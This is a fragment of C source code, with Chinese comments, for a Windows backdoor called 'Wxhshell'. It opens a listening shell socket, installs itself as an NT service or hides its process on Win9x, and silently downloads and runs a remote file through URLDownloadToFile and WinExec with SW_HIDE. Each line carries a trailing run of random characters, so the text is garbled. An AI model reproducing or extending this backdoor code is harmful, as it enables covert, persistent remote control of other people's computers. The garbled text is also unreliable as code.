ULONG UniqueProcessId; '6T *b
ULONG InheritedFromUniqueProcessId; 5xH*&GpL7
} PROCESS_BASIC_INFORMATION; i2LN`5k
5iGz*_
m
PROCNTQSIP NtQueryInformationProcess; D{4]c)>
s:tWEgZk?
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ow-;WO_HQ
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; wMM1Q/-#
/5\{(=0
HANDLE hProcess; =v{ R(IX%
PROCESS_BASIC_INFORMATION pbi; -^rdB6O6j
JNu+e#.Y
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); dcE(uf
if(NULL == hInst ) return 0; `_J>R
t*c_70|@k
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); HLE%f;
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); gM6o~ E
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #vPk
XcP
grJ(z)c
if (!NtQueryInformationProcess) return 0; w&&)v~Y_
.O{_^~w_q
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @DAaCF8
if(!hProcess) return 0; .e5rKkkT
q+XU Cnv
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; MLmv+
$@WA}\D
CloseHandle(hProcess); _IvqZ/6Y(
cZw_^@!
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); u$ ^r(.EV
if(hProcess==NULL) return 0; :QMpp}G
9*CRMkPrd
HMODULE hMod; Z>W&vDeuN
char procName[255]; z7Z!wIzJ
unsigned long cbNeeded; ;9uDV-"
}7qboUG e
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \F7NuG:m,
W:2j.K9!
CloseHandle(hProcess); H.[(`wi!I
pJQ_G`E
if(strstr(procName,"services")) return 1; // 以服务启动 ip*UujmNyR
\T;(k?28HN
return 0; // 注册表启动 :&s8G*
} m2F+6G
2o0WS~}5
// 主模块 SFqq(K2u
int StartWxhshell(LPSTR lpCmdLine) 9['>$ON
{ 70nBC
SOCKET wsl; 2j[;M-3
BOOL val=TRUE; 2(Nf$?U@0
int port=0; ;^8X(R
struct sockaddr_in door; m khp@^5
,u.A[{@py
if(wscfg.ws_autoins) Install(); !\q'{x5C
^pocbmg
port=atoi(lpCmdLine); (abtCuZ8z
>i2WYT
if(port<=0) port=wscfg.ws_port; In}~bNv?
;O({|mpS\
WSADATA data; : Z3]Dk;y
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; nTz(
{q
ZgxpHo
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; HB}iT1.`
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Pm|S>r
door.sin_family = AF_INET;
NF_[q(k'
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2K{)8;^
door.sin_port = htons(port); !LpFK0rw
bX+"G}CRP
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { er>@- F7w
closesocket(wsl); v+d? #^
return 1; MAgoxq~;V
} -qB{TA-.\
W)u9VbPk[
if(listen(wsl,2) == INVALID_SOCKET) { } DkdF
closesocket(wsl); %){) /~e&
return 1; !7Z?VEZ
} stOD5yi
Wxhshell(wsl); x<) T,c5Y
WSACleanup(); ODPWFdRar
G5$YXNV
return 0; 5g
phza
PtOYlZTe?
} 2| ERif;)
-p20UP 1I
// 以NT服务方式启动 RG`eNRTQ%
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?#u_x4==e
{ kBrU%[0O
DWORD status = 0; H`jvT]
DWORD specificError = 0xfffffff; ?L>}(
{9
bHmn0fZ9
serviceStatus.dwServiceType = SERVICE_WIN32; `q?@ Ob&
serviceStatus.dwCurrentState = SERVICE_START_PENDING; sq}uq![?M
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]hY4
MS
serviceStatus.dwWin32ExitCode = 0; WNiM&iU
serviceStatus.dwServiceSpecificExitCode = 0; W%K=N-kE_
serviceStatus.dwCheckPoint = 0; j`k:)
serviceStatus.dwWaitHint = 0; 3}i(i0+
j 4eq.{$
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \l/<[ZZ
if (hServiceStatusHandle==0) return; +Pb@@C&
l gTw>r
status = GetLastError(); Yr 1k\q
if (status!=NO_ERROR) ?4lEHef
{ bU_P@GKB
serviceStatus.dwCurrentState = SERVICE_STOPPED; S| l%JM^
serviceStatus.dwCheckPoint = 0; :n$?wp
serviceStatus.dwWaitHint = 0; $Q56~AP
serviceStatus.dwWin32ExitCode = status; .&n;S';"
serviceStatus.dwServiceSpecificExitCode = specificError; lAPPng`
SetServiceStatus(hServiceStatusHandle, &serviceStatus); =b#,OXQ
return; ZG_iF#
} r%` |kN
4tFnZ2x
serviceStatus.dwCurrentState = SERVICE_RUNNING; 5m
rkw
serviceStatus.dwCheckPoint = 0; EZ)GW%Bm2
serviceStatus.dwWaitHint = 0; Ly`FU)
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qUG)+~g`
} Z(o]8*;Ai
DM*u;t{i
// 处理NT服务事件,比如:启动、停止 a |0f B4G
VOID WINAPI NTServiceHandler(DWORD fdwControl) \.{ZgL5"
{ b@)nB
switch(fdwControl) #e$vv!&}
{ *uvE`4V^Jg
case SERVICE_CONTROL_STOP: ]0myoWpi3
serviceStatus.dwWin32ExitCode = 0; J"yq)0
serviceStatus.dwCurrentState = SERVICE_STOPPED; ZNY),3?
serviceStatus.dwCheckPoint = 0; %CG=mTP
serviceStatus.dwWaitHint = 0; *&rV}vVP^
{ Mt(;7q@1c
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 87:V-*8
} B7nm7[V
return; Ct9*T`Gl
case SERVICE_CONTROL_PAUSE: j79$/ Ol
serviceStatus.dwCurrentState = SERVICE_PAUSED; C:
a</Sl
break; \%]!/&>{6
case SERVICE_CONTROL_CONTINUE: ya/pn
qS
serviceStatus.dwCurrentState = SERVICE_RUNNING; 0tP{K
break; H@ .1cO
case SERVICE_CONTROL_INTERROGATE: <|4L+?_(&
break; #^bn~
}; ZTK)N
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Oftjm
X_
} 8DZ
OPA
h>&t``<
// 标准应用程序主函数 %jj\w>
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H.[t&VO
{ @ R;o $n
hO4* X
// 获取操作系统版本 w!m4
OsIsNt=GetOsVer(); Xm[Cgt_?
GetModuleFileName(NULL,ExeFile,MAX_PATH); <=PYu:]h
YC d
// 从命令行安装 !_j6\r=
if(strpbrk(lpCmdLine,"iI")) Install(); {A8w~3F
zZ{(7Kfz
// 下载执行文件 N1espc@j
if(wscfg.ws_downexe) { NIxtT>[+3
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) teg[l-R"7z
WinExec(wscfg.ws_filenam,SW_HIDE); pDG>9P#mO
} t[b@P<F
{DbWk>[DkG
if(!OsIsNt) { -owap-Va
// 如果时win9x,隐藏进程并且设置为注册表启动 %vjfAdC
HideProc(); A7sva@}W
StartWxhshell(lpCmdLine); UpCkB}OhR1
} *Au[{sR
else K&/!3vc
if(StartFromService()) !yf7y/qY
// 以服务方式启动 ]ag^~8bG
@
StartServiceCtrlDispatcher(DispatchTable); F]`_ak E
else Gque@u
// 普通方式启动 </)QCl' d
StartWxhshell(lpCmdLine); ]`_eaW?Ua
RWINdJZ
return 0; 0;x<0P
}